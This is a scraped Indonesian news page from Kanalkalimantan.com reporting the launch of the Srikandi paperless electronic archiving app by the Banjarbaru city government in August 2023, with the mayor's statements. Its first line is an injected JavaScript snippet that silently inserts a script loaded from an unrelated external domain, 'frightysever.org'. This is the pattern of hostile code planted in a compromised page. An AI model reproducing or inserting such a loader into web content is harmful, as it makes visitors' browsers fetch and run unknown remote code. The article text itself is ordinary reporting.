(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pelayanan administrasi pemerintah berbasis elektronik, Pemerintah Kota (Pemko) Banjarbaru mewujudkan layanan digital berkas fisik berbentuk kertas tak lagi dipergunakan.
Penyerahan akun resmi aplikasi Sistem Informasi Kearsipan Dinamis Terintegrasi (Srikandi) berlangsung di aula Gawi Sabarataan, Balai Kota Banjarbaru, Senin (14/8/2023).
Wali Kota Banjarbaru HM Aditya Mufti Ariffin mengatakan, Pemko Banjarbaru sudah memulai invonasi yang dinamakan aplikasi Srikandi.
“Jadi aplikasi ini memudahkan kita bekerja, tidak mengenal waktu, tidak mengenal tempat dimanapun dan kapanpun kita bisa bekerja,” ujarnya.
Baca juga: Siaga Bencana Karhutla, Ini Pesan Wali Kota Banjarbaru
“Jadi ulun (Saya, red) minta aplikasi Srikandi ini benar-benar digunakan, dan ulun minta juga per tanggal 1 September 2023 ulun tidak menerima surat berbentuk berkas (Kertas, red) lagi. Kita sudah menggunakan paperless, dikecualikan untuk hal-hal tertentu,” tegasnya.
Masih lanjut Aditya, dirinya juga meminta agar segera diterapkan disetiap SKPD se Kota Banjarbaru.
“Maka dari itu ulun minta semua agar aplikasi ini tolong disampaikan kepada bawahan-bawahan di setiap SKPD, agar semuanya disosialisasikan dan diedukasi,” ujarnya.
Baca juga: Tiga Terdakwa Kasus Korupsi Bendungan Tapin Tak Hadirkan Saksi Meringankan
Sekadar diketahui, aplikasi Srikandi ini merupakan instumen pengelolaan arsip dinamis yang berdasarkan pada Perpres Nomor 95 tahun 2018 Tentang Sistem Pemerintahan Berbasis Elektronik (SPBE).
Dan untuk di lingkungan Pemko Banjarbaru aplikasi ini kolaborasi antara Dinas Perpustakaan dan Kearsipan dengan Dinas Komunikasi dan Informatika Kota Banjarbaru.
Aplikasi Srikandi ini yakni menciptakan kelancaran dalam persyaratan dan kearsipan secara elektronik yang efektif dalam penyelenggaraan pemerintahan dalam memudahkan pelayanan kepada masyarakat. “Aplikasi ini juga untuk kebutuhan pembuatan surat dan arsip elektronik secara online dan integrasi,” kata Wali Kota.
Baca juga: Bisa Lewati Misi Sulit Lawan Persib Bandung
Sistem dalam aplikasi Srikandi ini memiliki banyak manfaat karena sudah tidak lagi menggunakan kertas namun menggunakan paperless, tanda tangan sudah menggunakan tanda tangan elektronik bisa diakses secara online. (Kanalkalimantan.com/bie)
Reporter : bie
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More
KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More
KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More
This website uses cookies.